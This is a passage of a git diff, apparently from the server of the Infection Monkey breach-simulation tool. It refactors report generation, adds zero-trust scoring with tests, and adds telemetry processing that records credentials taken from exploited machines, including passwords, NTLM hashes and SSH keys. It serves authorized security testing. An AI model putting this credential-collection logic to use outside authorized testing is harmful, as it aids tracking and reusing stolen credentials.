- 'MSSQLExploiter': ReportService.process_mssql_exploit
+ 'MSSQLExploiter': ReportService.process_mssql_exploit,
+ 'VSFTPDExploiter': ReportService.process_vsftpd_exploit
}
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
@staticmethod
def get_exploits():
+ query = [{'$match': {'telem_category': 'exploit', 'data.result': True}},
+ {'$group': {'_id': {'ip_address': '$data.machine.ip_addr'},
+ 'data': {'$first': '$$ROOT'},
+ }},
+ {"$replaceRoot": {"newRoot": "$data"}}]
exploits = []
- for exploit in mongo.db.telemetry.find({'telem_type': 'exploit', 'data.result': True}):
+ for exploit in mongo.db.telemetry.aggregate(query):
new_exploit = ReportService.process_exploit(exploit)
if new_exploit not in exploits:
exploits.append(new_exploit)
@@ -372,7 +388,7 @@ class ReportService:
@staticmethod
def get_monkey_subnets(monkey_guid):
network_info = mongo.db.telemetry.find_one(
- {'telem_type': 'system_info_collection', 'monkey_guid': monkey_guid},
+ {'telem_category': 'system_info', 'monkey_guid': monkey_guid},
{'data.network_info.networks': 1}
)
if network_info is None:
@@ -407,23 +423,6 @@ class ReportService:
return issues
- @staticmethod
- def get_ip_in_src_and_not_in_dst(ip_addresses, source_subnet, target_subnet):
- """
- Finds an IP address in ip_addresses which is in source_subnet but not in target_subnet.
- :param ip_addresses: List of IP addresses to test.
- :param source_subnet: Subnet to want an IP to not be in.
- :param target_subnet: Subnet we want an IP to be in.
- :return:
- """
- for ip_address in ip_addresses:
- if target_subnet.is_in_range(ip_address):
- return None
- for ip_address in ip_addresses:
- if source_subnet.is_in_range(ip_address):
- return ip_address
- return None
-
@staticmethod
def get_cross_segment_issues_of_single_machine(source_subnet_range, target_subnet_range):
"""
@@ -486,9 +485,9 @@ class ReportService:
target_ip = scan['data']['machine']['ip_addr']
if target_subnet_range.is_in_range(text_type(target_ip)):
monkey = NodeService.get_monkey_by_guid(scan['monkey_guid'])
- cross_segment_ip = ReportService.get_ip_in_src_and_not_in_dst(monkey['ip_addresses'],
- source_subnet_range,
- target_subnet_range)
+ cross_segment_ip = get_ip_in_src_and_not_in_dst(monkey['ip_addresses'],
+ source_subnet_range,
+ target_subnet_range)
if cross_segment_ip is not None:
cross_segment_issues.append(
@@ -530,13 +529,13 @@ class ReportService:
@staticmethod
def get_cross_segment_issues():
- scans = mongo.db.telemetry.find({'telem_type': 'scan'},
+ scans = mongo.db.telemetry.find({'telem_category': 'scan'},
{'monkey_guid': 1, 'data.machine.ip_addr': 1, 'data.machine.services': 1})
cross_segment_issues = []
# For now the feature is limited to 1 group.
- subnet_groups = [ConfigService.get_config_value(['basic_network', 'network_analysis', 'inaccessible_subnets'])]
+ subnet_groups = get_config_network_segments_as_subnet_groups()
for subnet_group in subnet_groups:
cross_segment_issues += ReportService.get_cross_segment_issues_per_subnet_group(scans, subnet_group)
@@ -644,6 +643,8 @@ class ReportService:
issues_byte_array[ReportService.ISSUES_DICT.ELASTIC.value] = True
elif issue['type'] == 'sambacry':
issues_byte_array[ReportService.ISSUES_DICT.SAMBACRY.value] = True
+ elif issue['type'] == 'vsftp':
+ issues_byte_array[ReportService.ISSUES_DICT.VSFTPD.value] = True
elif issue['type'] == 'shellshock':
issues_byte_array[ReportService.ISSUES_DICT.SHELLSHOCK.value] = True
elif issue['type'] == 'conficker':
@@ -702,8 +703,10 @@ class ReportService:
config_users = ReportService.get_config_users()
config_passwords = ReportService.get_config_passwords()
cross_segment_issues = ReportService.get_cross_segment_issues()
- monkey_latest_modify_time = list(NodeService.get_latest_modified_monkey())[0]['modifytime']
+ monkey_latest_modify_time = Monkey.get_latest_modifytime()
+ scanned_nodes = ReportService.get_scanned()
+ exploited_nodes = ReportService.get_exploited()
report = \
{
'overview':
@@ -722,8 +725,8 @@ class ReportService:
},
'glance':
{
- 'scanned': ReportService.get_scanned(),
- 'exploited': ReportService.get_exploited(),
+ 'scanned': scanned_nodes,
+ 'exploited': exploited_nodes,
'stolen_creds': ReportService.get_stolen_creds(),
'azure_passwords': ReportService.get_azure_creds(),
'ssh_keys': ReportService.get_ssh_keys(),
@@ -756,7 +759,6 @@ class ReportService:
report_as_json = json_util.dumps(report_dict).replace('.', ',,,')
return json_util.loads(report_as_json)
-
@staticmethod
def is_latest_report_exists():
"""
@@ -767,7 +769,7 @@ class ReportService:
if latest_report_doc:
report_latest_modifytime = latest_report_doc['meta']['latest_monkey_modifytime']
- latest_monkey_modifytime = NodeService.get_latest_modified_monkey()[0]['modifytime']
+ latest_monkey_modifytime = Monkey.get_latest_modifytime()
return report_latest_modifytime == latest_monkey_modifytime
return False
@@ -785,7 +787,7 @@ class ReportService:
def get_report():
if ReportService.is_latest_report_exists():
return ReportService.decode_dot_char_before_mongo_insert(mongo.db.report.find_one())
- return ReportService.generate_report()
+ return safe_generate_regular_report()
@staticmethod
def did_exploit_type_succeed(exploit_type):
diff --git a/monkey/monkey_island/cc/report_exporter_manager.py b/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py
similarity index 73%
rename from monkey/monkey_island/cc/report_exporter_manager.py
rename to monkey/monkey_island/cc/services/reporting/report_exporter_manager.py
index 5e51a43e1..c934618db 100644
--- a/monkey/monkey_island/cc/report_exporter_manager.py
+++ b/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py
@@ -27,9 +27,9 @@ class ReportExporterManager(object):
self._exporters_set.add(exporter)
def export(self, report):
- try:
- for exporter in self._exporters_set:
- logger.debug("Trying to export using " + repr(exporter))
+ for exporter in self._exporters_set:
+ logger.debug("Trying to export using " + repr(exporter))
+ try:
exporter().handle_report(report)
- except Exception as e:
- logger.exception('Failed to export report, error: ' + e.message)
+ except Exception as e:
+ logger.exception('Failed to export report, error: ' + e.message)
diff --git a/monkey/monkey_island/cc/services/reporting/report_generation_synchronisation.py b/monkey/monkey_island/cc/services/reporting/report_generation_synchronisation.py
new file mode 100644
index 000000000..9025ff68f
--- /dev/null
+++ b/monkey/monkey_island/cc/services/reporting/report_generation_synchronisation.py
@@ -0,0 +1,52 @@
+import logging
+import threading
+
+logger = logging.getLogger(__name__)
+
+# These are pseudo-singletons - global Locks. These locks will allow only one thread to generate a report at a time.
+# Report generation can be quite slow if there is a lot of data, and the UI queries the Root service often; without
+# the locks, these requests would accumulate, overload the server, eventually causing it to crash.
+logger.debug("Initializing report generation locks.")
+__report_generating_lock = threading.Semaphore()
+__attack_report_generating_lock = threading.Semaphore()
+__regular_report_generating_lock = threading.Semaphore()
+
+
+def safe_generate_reports():
+ # Entering the critical section; Wait until report generation is available.
+ __report_generating_lock.acquire()
+ report = safe_generate_regular_report()
+ attack_report = safe_generate_attack_report()
+ # Leaving the critical section.
+ __report_generating_lock.release()
+ return report, attack_report
+
+
+def safe_generate_regular_report():
+ # Local import to avoid circular imports
+ from monkey_island.cc.services.reporting.report import ReportService
+ __regular_report_generating_lock.acquire()
+ report = ReportService.generate_report()
+ __regular_report_generating_lock.release()
+ return report
+
+
+def safe_generate_attack_report():
+ # Local import to avoid circular imports
+ from monkey_island.cc.services.attack.attack_report import AttackReportService
+ __attack_report_generating_lock.acquire()
+ attack_report = AttackReportService.generate_new_report()
+ __attack_report_generating_lock.release()
+ return attack_report
+
+
+def is_report_being_generated():
+ # From https://docs.python.org/2/library/threading.html#threading.Semaphore.acquire:
+ # When invoked with blocking set to false, do not block.
+ # If a call without an argument would block, return false immediately;
+ # otherwise, do the same thing as when called without arguments, and return true.
+ is_report_being_generated_right_now = not __report_generating_lock.acquire(blocking=False)
+ if not is_report_being_generated_right_now:
+ # We're not using the critical resource; we just checked its state.
+ __report_generating_lock.release()
+ return is_report_being_generated_right_now
diff --git a/monkey/monkey_island/cc/services/reporting/test_pth_report.py b/monkey/monkey_island/cc/services/reporting/test_pth_report.py
new file mode 100644
index 000000000..f934f50ab
--- /dev/null
+++ b/monkey/monkey_island/cc/services/reporting/test_pth_report.py
@@ -0,0 +1,69 @@
+import uuid
+
+from monkey_island.cc.models import Monkey
+from monkey_island.cc.services.reporting.pth_report import PTHReportService
+from monkey_island.cc.testing.IslandTestCase import IslandTestCase
+
+
+class TestPTHReportServiceGenerateMapNodes(IslandTestCase):
+ def test_generate_map_nodes(self):
+ self.fail_if_not_testing_env()
+ self.clean_monkey_db()
+
+ self.assertEqual(PTHReportService.generate_map_nodes(), [])
+
+ windows_monkey_with_services = Monkey(
+ guid=str(uuid.uuid4()),
+ hostname="A_Windows_PC_1",
+ critical_services=["aCriticalService", "Domain Controller"],
+ ip_addresses=["1.1.1.1", "2.2.2.2"],
+ description="windows 10"
+ )
+ windows_monkey_with_services.save()
+
+ windows_monkey_with_no_services = Monkey(
+ guid=str(uuid.uuid4()),
+ hostname="A_Windows_PC_2",
+ critical_services=[],
+ ip_addresses=["3.3.3.3"],
+ description="windows 10"
+ )
+ windows_monkey_with_no_services.save()
+
+ linux_monkey = Monkey(
+ guid=str(uuid.uuid4()),
+ hostname="A_Linux_PC",
+ ip_addresses=["4.4.4.4"],
+ description="linux ubuntu"
+ )
+ linux_monkey.save()
+
+ map_nodes = PTHReportService.generate_map_nodes()
+
+ self.assertEquals(2, len(map_nodes))
+
+ def test_generate_map_nodes_parsing(self):
+ self.fail_if_not_testing_env()
+ self.clean_monkey_db()
+
+ monkey_id = str(uuid.uuid4())
+ hostname = "A_Windows_PC_1"
+ windows_monkey_with_services = Monkey(
+ guid=monkey_id,
+ hostname=hostname,
+ critical_services=["aCriticalService", "Domain Controller"],
+ ip_addresses=["1.1.1.1"],
+ description="windows 10"
+ )
+ windows_monkey_with_services.save()
+
+ map_nodes = PTHReportService.generate_map_nodes()
+
+ self.assertEquals(map_nodes[0]["id"], monkey_id)
+ self.assertEquals(map_nodes[0]["label"], "A_Windows_PC_1 : 1.1.1.1")
+ self.assertEquals(map_nodes[0]["group"], "critical")
+ self.assertEquals(len(map_nodes[0]["services"]), 2)
+ self.assertEquals(map_nodes[0]["hostname"], hostname)
+
+
+
diff --git a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py
new file mode 100644
index 000000000..46b4fefd7
--- /dev/null
+++ b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py
@@ -0,0 +1,285 @@
+from monkey_island.cc.services.reporting.zero_trust_service import ZeroTrustService
+
+from common.data.zero_trust_consts import *
+from monkey_island.cc.models.zero_trust.finding import Finding
+from monkey_island.cc.testing.IslandTestCase import IslandTestCase
+
+
+def save_example_findings():
+ # arrange
+ Finding.save_finding(TEST_ENDPOINT_SECURITY_EXISTS, STATUS_PASSED, []) # devices passed = 1
+ Finding.save_finding(TEST_ENDPOINT_SECURITY_EXISTS, STATUS_PASSED, []) # devices passed = 2
+ Finding.save_finding(TEST_ENDPOINT_SECURITY_EXISTS, STATUS_FAILED, []) # devices failed = 1
+ # devices unexecuted = 1
+ # people verify = 1
+ # networks verify = 1
+ Finding.save_finding(TEST_SCHEDULED_EXECUTION, STATUS_VERIFY, [])
+ # people verify = 2
+ # networks verify = 2
+ Finding.save_finding(TEST_SCHEDULED_EXECUTION, STATUS_VERIFY, [])
+ # data failed 1
+ Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, [])
+ # data failed 2
+ Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, [])
+ # data failed 3
+ Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, [])
+ # data failed 4
+ Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, [])
+ # data failed 5
+ Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, [])
+ # data verify 1
+ Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_VERIFY, [])
+ # data verify 2
+ Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_VERIFY, [])
+ # data passed 1
+ Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_PASSED, [])
+
+
+class TestZeroTrustService(IslandTestCase):
+ def test_get_pillars_grades(self):
+ self.fail_if_not_testing_env()
+ self.clean_finding_db()
+
+ save_example_findings()
+
+ expected = [
+ {
+ STATUS_FAILED: 5,
+ STATUS_VERIFY: 2,
+ STATUS_PASSED: 1,
+ STATUS_UNEXECUTED: 1,
+ "pillar": "Data"
+ },
+ {
+ STATUS_FAILED: 0,
+ STATUS_VERIFY: 2,
+ STATUS_PASSED: 0,
+ STATUS_UNEXECUTED: 1,
+ "pillar": "People"
+ },
+ {
+ STATUS_FAILED: 0,
+ STATUS_VERIFY: 2,
+ STATUS_PASSED: 0,
+ STATUS_UNEXECUTED: 4,
+ "pillar": "Networks"
+ },
+ {
+ STATUS_FAILED: 1,
+ STATUS_VERIFY: 0,
+ STATUS_PASSED: 2,
+ STATUS_UNEXECUTED: 1,
+ "pillar": "Devices"
+ },
+ {
+ STATUS_FAILED: 0,
+ STATUS_VERIFY: 0,
+ STATUS_PASSED: 0,
+ STATUS_UNEXECUTED: 0,
+ "pillar": "Workloads"
+ },
+ {
+ STATUS_FAILED: 0,
+ STATUS_VERIFY: 0,
+ STATUS_PASSED: 0,
+ STATUS_UNEXECUTED: 3,
+ "pillar": "Visibility & Analytics"
+ },
+ {
+ STATUS_FAILED: 0,
+ STATUS_VERIFY: 0,
+ STATUS_PASSED: 0,
+ STATUS_UNEXECUTED: 0,
+ "pillar": "Automation & Orchestration"
+ }
+ ]
+
+ result = ZeroTrustService.get_pillars_grades()
+
+ self.assertEquals(result, expected)
+
+ def test_get_principles_status(self):
+ self.fail_if_not_testing_env()
+ self.clean_finding_db()
+
+ self.maxDiff = None
+
+ save_example_findings()
+
+ expected = {
+ AUTOMATION_ORCHESTRATION: [],
+ DATA: [
+ {
+ "principle": PRINCIPLES[PRINCIPLE_DATA_TRANSIT],
+ "status": STATUS_FAILED,
+ "tests": [
+ {
+ "status": STATUS_FAILED,
+ "test": TESTS_MAP[TEST_DATA_ENDPOINT_HTTP][TEST_EXPLANATION_KEY]
+ },
+ {
+ "status": STATUS_UNEXECUTED,
+ "test": TESTS_MAP[TEST_DATA_ENDPOINT_ELASTIC][TEST_EXPLANATION_KEY]
+ },
+ ]
+ }
+ ],
+ DEVICES: [
+ {
+ "principle": PRINCIPLES[PRINCIPLE_ENDPOINT_SECURITY],
+ "status": STATUS_FAILED,
+ "tests": [
+ {
+ "status": STATUS_UNEXECUTED,
+ "test": TESTS_MAP[TEST_MACHINE_EXPLOITED][TEST_EXPLANATION_KEY]
+ },
+ {
+ "status": STATUS_FAILED,
+ "test": TESTS_MAP[TEST_ENDPOINT_SECURITY_EXISTS][TEST_EXPLANATION_KEY]
+ },
+ ]
+ }
+ ],
+ NETWORKS: [
+ {
+ "principle": PRINCIPLES[PRINCIPLE_SEGMENTATION],
+ "status": STATUS_UNEXECUTED,
+ "tests": [
+ {
+ "status": STATUS_UNEXECUTED,
+ "test": TESTS_MAP[TEST_SEGMENTATION][TEST_EXPLANATION_KEY]
+ }
+ ]
+ },
+ {
+ "principle": PRINCIPLES[PRINCIPLE_USER_BEHAVIOUR],
+ "status": STATUS_VERIFY,
+ "tests": [
+ {
+ "status": STATUS_VERIFY,
+ "test": TESTS_MAP[TEST_SCHEDULED_EXECUTION][TEST_EXPLANATION_KEY]
+ }
+ ]
+ },
+ {
+ "principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES],
+ "status": STATUS_UNEXECUTED,
+ "tests": [
+ {
+ "status": STATUS_UNEXECUTED,
+ "test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY]
+ }
+ ]
+ },
+ {
+ "principle": PRINCIPLES[PRINCIPLE_ANALYZE_NETWORK_TRAFFIC],
+ "status": STATUS_UNEXECUTED,
+ "tests": [
+ {
+ "status": STATUS_UNEXECUTED,
+ "test": TESTS_MAP[TEST_MALICIOUS_ACTIVITY_TIMELINE][TEST_EXPLANATION_KEY]
+ }
+ ]
+ },
+ {
+ "principle": PRINCIPLES[PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES],
+ "status": STATUS_UNEXECUTED,
+ "tests": [
+ {
+ "status": STATUS_UNEXECUTED,
+ "test": TESTS_MAP[TEST_TUNNELING][TEST_EXPLANATION_KEY]
+ }
+ ]
+ },
+ ],
+ PEOPLE: [
+ {
+ "principle": PRINCIPLES[PRINCIPLE_USER_BEHAVIOUR],
+ "status": STATUS_VERIFY,
+ "tests": [
+ {
+ "status": STATUS_VERIFY,
+ "test": TESTS_MAP[TEST_SCHEDULED_EXECUTION][TEST_EXPLANATION_KEY]
+ }
+ ]
+ },
+ {
+ "principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES],
+ "status": STATUS_UNEXECUTED,
+ "tests": [
+ {
+ "status": STATUS_UNEXECUTED,
+ "test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY]
+ }
+ ]
+ }
+ ],
+ VISIBILITY_ANALYTICS: [
+ {
+ "principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES],
+ "status": STATUS_UNEXECUTED,
+ "tests": [
+ {
+ "status": STATUS_UNEXECUTED,
+ "test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY]
+ }
+ ]
+ },
+ {
+ "principle": PRINCIPLES[PRINCIPLE_ANALYZE_NETWORK_TRAFFIC],
+ "status": STATUS_UNEXECUTED,
+ "tests": [
+ {
+ "status": STATUS_UNEXECUTED,
+ "test": TESTS_MAP[TEST_MALICIOUS_ACTIVITY_TIMELINE][TEST_EXPLANATION_KEY]
+ }
+ ]
+ },
+ {
+ "principle": PRINCIPLES[PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES],
+ "status": STATUS_UNEXECUTED,
+ "tests": [
+ {
+ "status": STATUS_UNEXECUTED,
+ "test": TESTS_MAP[TEST_TUNNELING][TEST_EXPLANATION_KEY]
+ }
+ ]
+ },
+ ],
+ WORKLOADS: []
+ }
+
+ result = ZeroTrustService.get_principles_status()
+ self.assertEquals(result, expected)
+
+ def test_get_pillars_to_statuses(self):
+ self.fail_if_not_testing_env()
+ self.clean_finding_db()
+
+ self.maxDiff = None
+
+ expected = {
+ AUTOMATION_ORCHESTRATION: STATUS_UNEXECUTED,
+ DEVICES: STATUS_UNEXECUTED,
+ NETWORKS: STATUS_UNEXECUTED,
+ PEOPLE: STATUS_UNEXECUTED,
+ VISIBILITY_ANALYTICS: STATUS_UNEXECUTED,
+ WORKLOADS: STATUS_UNEXECUTED,
+ DATA: STATUS_UNEXECUTED
+ }
+
+ self.assertEquals(ZeroTrustService.get_pillars_to_statuses(), expected)
+
+ save_example_findings()
+
+ expected = {
+ AUTOMATION_ORCHESTRATION: STATUS_UNEXECUTED,
+ DEVICES: STATUS_FAILED,
+ NETWORKS: STATUS_VERIFY,
+ PEOPLE: STATUS_VERIFY,
+ VISIBILITY_ANALYTICS: STATUS_UNEXECUTED,
+ WORKLOADS: STATUS_UNEXECUTED,
+ DATA: STATUS_FAILED
+ }
+
+ self.assertEquals(ZeroTrustService.get_pillars_to_statuses(), expected)
diff --git a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py
new file mode 100644
index 000000000..f4b23f095
--- /dev/null
+++ b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py
@@ -0,0 +1,150 @@
+import json
+from common.data.zero_trust_consts import *
+from monkey_island.cc.models.zero_trust.finding import Finding
+
+
+class ZeroTrustService(object):
+ @staticmethod
+ def get_pillars_grades():
+ pillars_grades = []
+ for pillar in PILLARS:
+ pillars_grades.append(ZeroTrustService.__get_pillar_grade(pillar))
+ return pillars_grades
+
+ @staticmethod
+ def __get_pillar_grade(pillar):
+ all_findings = Finding.objects()
+ pillar_grade = {
+ "pillar": pillar,
+ STATUS_FAILED: 0,
+ STATUS_VERIFY: 0,
+ STATUS_PASSED: 0,
+ STATUS_UNEXECUTED: 0
+ }
+
+ tests_of_this_pillar = PILLARS_TO_TESTS[pillar]
+
+ test_unexecuted = {}
+ for test in tests_of_this_pillar:
+ test_unexecuted[test] = True
+
+ for finding in all_findings:
+ test_unexecuted[finding.test] = False
+ test_info = TESTS_MAP[finding.test]
+ if pillar in test_info[PILLARS_KEY]:
+ pillar_grade[finding.status] += 1
+
+ pillar_grade[STATUS_UNEXECUTED] = sum(1 for condition in test_unexecuted.values() if condition)
+
+ return pillar_grade
+
+ @staticmethod
+ def get_principles_status():
+ all_principles_statuses = {}
+
+ # init with empty lists
+ for pillar in PILLARS:
+ all_principles_statuses[pillar] = []
+
+ for principle, principle_tests in PRINCIPLES_TO_TESTS.items():
+ for pillar in PRINCIPLES_TO_PILLARS[principle]:
+ all_principles_statuses[pillar].append(
+ {
+ "principle": PRINCIPLES[principle],
+ "tests": ZeroTrustService.__get_tests_status(principle_tests),
+ "status": ZeroTrustService.__get_principle_status(principle_tests)
+ }
+ )
+
+ return all_principles_statuses
+
+ @staticmethod
+ def __get_principle_status(principle_tests):
+ worst_status = STATUS_UNEXECUTED
+ all_statuses = set()
+ for test in principle_tests:
+ all_statuses |= set(Finding.objects(test=test).distinct("status"))
+
+ for status in all_statuses:
+ if ORDERED_TEST_STATUSES.index(status) < ORDERED_TEST_STATUSES.index(worst_status):
+ worst_status = status
+
+ return worst_status
+
+ @staticmethod
+ def __get_tests_status(principle_tests):
+ results = []
+ for test in principle_tests:
+ test_findings = Finding.objects(test=test)
+ results.append(
+ {
+ "test": TESTS_MAP[test][TEST_EXPLANATION_KEY],
+ "status": ZeroTrustService.__get_lcd_worst_status_for_test(test_findings)
+ }
+ )
+ return results
+
+ @staticmethod
+ def __get_lcd_worst_status_for_test(all_findings_for_test):
+ """
+ :param all_findings_for_test: All findings of a specific test (get this using Finding.objects(test={A_TEST}))
+ :return: the "worst" (i.e. most severe) status out of the given findings.
+ lcd stands for lowest common denominator.
+ """
+ current_worst_status = STATUS_UNEXECUTED
+ for finding in all_findings_for_test:
+ if ORDERED_TEST_STATUSES.index(finding.status) < ORDERED_TEST_STATUSES.index(current_worst_status):
+ current_worst_status = finding.status
+
+ return current_worst_status
+
+ @staticmethod
+ def get_all_findings():
+ all_findings = Finding.objects()
+ enriched_findings = [ZeroTrustService.__get_enriched_finding(f) for f in all_findings]
+ return enriched_findings
+
+ @staticmethod
+ def __get_enriched_finding(finding):
+ test_info = TESTS_MAP[finding.test]
+ enriched_finding = {
+ "test": test_info[FINDING_EXPLANATION_BY_STATUS_KEY][finding.status],
+ "test_key": finding.test,
+ "pillars": test_info[PILLARS_KEY],
+ "status": finding.status,
+ "events": ZeroTrustService.__get_events_as_dict(finding.events)
+ }
+ return enriched_finding
+
+ @staticmethod
+ def __get_events_as_dict(events):
+ return [json.loads(event.to_json()) for event in events]
+
+ @staticmethod
+ def get_statuses_to_pillars():
+ results = {
+ STATUS_FAILED: [],
+ STATUS_VERIFY: [],
+ STATUS_PASSED: [],
+ STATUS_UNEXECUTED: []
+ }
+ for pillar in PILLARS:
+ results[ZeroTrustService.__get_status_of_single_pillar(pillar)].append(pillar)
+
+ return results
+
+ @staticmethod
+ def get_pillars_to_statuses():
+ results = {}
+ for pillar in PILLARS:
+ results[pillar] = ZeroTrustService.__get_status_of_single_pillar(pillar)
+
+ return results
+
+ @staticmethod
+ def __get_status_of_single_pillar(pillar):
+ grade = ZeroTrustService.__get_pillar_grade(pillar)
+ for status in ORDERED_TEST_STATUSES:
+ if grade[status] > 0:
+ return status
+ return STATUS_UNEXECUTED
diff --git a/monkey/monkey_island/cc/services/telemetry/__init__.py b/monkey/monkey_island/cc/services/telemetry/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/__init__.py b/monkey/monkey_island/cc/services/telemetry/processing/__init__.py
new file mode 100644
index 000000000..d90143c09
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/processing/__init__.py
@@ -0,0 +1,7 @@
+# import all implemented hooks, for brevity of hooks.py file
+from tunnel import process_tunnel_telemetry
+from state import process_state_telemetry
+from exploit import process_exploit_telemetry
+from scan import process_scan_telemetry
+from system_info import process_system_info_telemetry
+from post_breach import process_post_breach_telemetry
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py
new file mode 100644
index 000000000..cf6e9b544
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py
@@ -0,0 +1,58 @@
+import copy
+
+import dateutil
+
+from monkey_island.cc.database import mongo
+from monkey_island.cc.encryptor import encryptor
+from monkey_island.cc.models import Monkey
+from monkey_island.cc.services.edge import EdgeService
+from monkey_island.cc.services.node import NodeService
+from monkey_island.cc.services.telemetry.processing.utils import get_edge_by_scan_or_exploit_telemetry
+from monkey_island.cc.services.telemetry.zero_trust_tests.machine_exploited import test_machine_exploited
+
+
+def process_exploit_telemetry(telemetry_json):
+ encrypt_exploit_creds(telemetry_json)
+ edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json)
+ update_edge_info_with_new_exploit(edge, telemetry_json)
+ update_node_credentials_from_successful_attempts(edge, telemetry_json)
+
+ test_machine_exploited(
+ current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']),
+ exploit_successful=telemetry_json['data']['result'],
+ exploiter=telemetry_json['data']['exploiter'],
+ target_ip=telemetry_json['data']['machine']['ip_addr'],
+ timestamp=telemetry_json['timestamp'])
+
+
+def update_node_credentials_from_successful_attempts(edge, telemetry_json):
+ for attempt in telemetry_json['data']['attempts']:
+ if attempt['result']:
+ found_creds = {'user': attempt['user']}
+ for field in ['password', 'lm_hash', 'ntlm_hash', 'ssh_key']:
+ if len(attempt[field]) != 0:
+ found_creds[field] = attempt[field]
+ NodeService.add_credentials_to_node(edge['to'], found_creds)
+
+
+def update_edge_info_with_new_exploit(edge, telemetry_json):
+ telemetry_json['data']['info']['started'] = dateutil.parser.parse(telemetry_json['data']['info']['started'])
+ telemetry_json['data']['info']['finished'] = dateutil.parser.parse(telemetry_json['data']['info']['finished'])
+ new_exploit = copy.deepcopy(telemetry_json['data'])
+ new_exploit.pop('machine')
+ new_exploit['timestamp'] = telemetry_json['timestamp']
+ mongo.db.edge.update(
+ {'_id': edge['_id']},
+ {'$push': {'exploits': new_exploit}}
+ )
+ if new_exploit['result']:
+ EdgeService.set_edge_exploited(edge)
+
+
+def encrypt_exploit_creds(telemetry_json):
+ attempts = telemetry_json['data']['attempts']
+ for i in range(len(attempts)):
+ for field in ['password', 'lm_hash', 'ntlm_hash']:
+ credential = attempts[i][field]
+ if len(credential) > 0:
+ attempts[i][field] = encryptor.enc(credential.encode('utf-8'))
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py
new file mode 100644
index 000000000..c64849905
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py
@@ -0,0 +1,27 @@
+from monkey_island.cc.database import mongo
+from common.data.post_breach_consts import *
+from monkey_island.cc.models import Monkey
+from monkey_island.cc.services.telemetry.zero_trust_tests.communicate_as_new_user import test_new_user_communication
+
+
+def process_communicate_as_new_user_telemetry(telemetry_json):
+ current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid'])
+ message = telemetry_json['data']['result'][0]
+ success = telemetry_json['data']['result'][1]
+ test_new_user_communication(current_monkey, success, message)
+
+
+POST_BREACH_TELEMETRY_PROCESSING_FUNCS = {
+ POST_BREACH_COMMUNICATE_AS_NEW_USER: process_communicate_as_new_user_telemetry,
+}
+
+
+def process_post_breach_telemetry(telemetry_json):
+ mongo.db.monkey.update(
+ {'guid': telemetry_json['monkey_guid']},
+ {'$push': {'pba_results': telemetry_json['data']}})
+
+ post_breach_action_name = telemetry_json["data"]["name"]
+ if post_breach_action_name in POST_BREACH_TELEMETRY_PROCESSING_FUNCS:
+ POST_BREACH_TELEMETRY_PROCESSING_FUNCS[post_breach_action_name](telemetry_json)
+
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/processing.py b/monkey/monkey_island/cc/services/telemetry/processing/processing.py
new file mode 100644
index 000000000..154096f79
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/processing/processing.py
@@ -0,0 +1,29 @@
+import logging
+
+from monkey_island.cc.services.telemetry.processing import *
+
+logger = logging.getLogger(__name__)
+
+TELEMETRY_CATEGORY_TO_PROCESSING_FUNC = \
+ {
+ 'tunnel': process_tunnel_telemetry,
+ 'state': process_state_telemetry,
+ 'exploit': process_exploit_telemetry,
+ 'scan': process_scan_telemetry,
+ 'system_info': process_system_info_telemetry,
+ 'post_breach': process_post_breach_telemetry,
+ # `lambda *args, **kwargs: None` is a no-op.
+ 'trace': lambda *args, **kwargs: None,
+ 'attack': lambda *args, **kwargs: None,
+ }
+
+
+def process_telemetry(telemetry_json):
+ try:
+ telem_category = telemetry_json.get('telem_category')
+ if telem_category in TELEMETRY_CATEGORY_TO_PROCESSING_FUNC:
+ TELEMETRY_CATEGORY_TO_PROCESSING_FUNC[telem_category](telemetry_json)
+ else:
+ logger.info('Got unknown type of telemetry: %s' % telem_category)
+ except Exception as ex:
+ logger.error("Exception caught while processing telemetry. Info: {}".format(ex.message), exc_info=True)
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/scan.py b/monkey/monkey_island/cc/services/telemetry/processing/scan.py
new file mode 100644
index 000000000..bea451170
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/processing/scan.py
@@ -0,0 +1,44 @@
+import copy
+
+from monkey_island.cc.database import mongo
+from monkey_island.cc.models import Monkey
